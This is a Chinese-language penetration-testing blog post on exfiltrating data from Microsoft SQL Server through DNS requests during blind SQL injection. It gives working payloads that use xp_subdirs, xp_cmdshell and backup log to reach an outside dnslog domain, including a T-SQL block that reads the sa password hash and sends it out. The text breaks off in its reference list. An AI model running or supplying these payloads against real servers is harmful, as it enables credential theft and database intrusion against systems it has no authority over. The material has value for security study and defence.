2019年4月

盲注情况下,利用DNS外带查询方式快速获取数据。

0x01 相关基础

MSSQL下,可以利用自带的存储过程或创建自定义的存储过程,向外发送网络请求。并利用dnslog接收外传的数据。

通常用到的存储过程如下:

  • xp_subdirs
  • xp_dirtree
  • xp_fileexist
  • xp_cmdshell
  • backup log

xp_subdirs、xp_dirtree和xp_fileexist

前三个存储过程的效果和使用方式几乎一致,在sql编辑器中输入语句,发起请求。
51.png

结果如下,可看到全部接收成功

52.png

另:MSSQL 2017为Linux系统下版本,用这些存储过程进行外带查询的方法不适用于Linux。因为Windows下 //会发起网络请求,而Linux无这个特性。至于2017下如何利用,择日有空再进行研究。

xp_cmdshell

xp_cmdshell要求必须为DBA权限才可使用。方式即 Windows命令行下 利用ping等命令获取数据.

exec xp_cmdshell 'ping %USERNAME%.t00ls.f9b638e31ce26b3934df185161cd8435.tu4.org';

53.png

backup log

backup log语句通常在备份时使用,也可以利用其来发送网络请求。语句如下

exec('backup log fcc to disk=''\\log.f9b638e31ce26b3934df185161cd8435.tu4.org\a'';');

54.png

0x02 利用场景

最早之前在一些渗透项目中遇到过几次,sqlmap跑出注入但不是显错类型。逐个字符的读表真是考验耐心还浪费时间。
相比布尔或时间盲注,外带方式还是太节约时间。

利用条件如下:

  • SQL注入点为stacked queries类型
  • 数据库服务器可通外网
  • 数据库用户权限基本没要求

xp_cmdshell和xp_subdirs貌似要求是dba权限。

0x03 利用姿势

具体的还是要结合想要获取的信息来。查询回传方式有固定的套路,语法如下

如外带获取sa的hash密码

#注意这里不用分号分隔,否则报错
DECLARE @host varchar(1024)
SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name='sa')
+'.f9b638e31ce26b3934df185161cd8435.tu4.org'
EXEC('master..xp_subdirs"//'+@host+'\foobar$"') 

我这里在Navicat中测试,注入时同理。

55.png

结果信息来看,提示"找不到网络名"但此时请求已发出,再查看dnslog 已经接收到数据。

56.png

其他信息的获取 只需替换一部分select语句即可,即host的值。

0x04 知识延伸

此时,虽然已经可以解决一个个字符获取的低效问题。但实际利用中,可能还差些火候。比如某些信息的字符或导致网络请求失败,数据长度超限制导致获取的结果不完整,想获取表名、字段名时 逐个输入导致时间还是很浪费等...

。。。

0x05 参考文章

1.《Dnslog在sql注入中的实战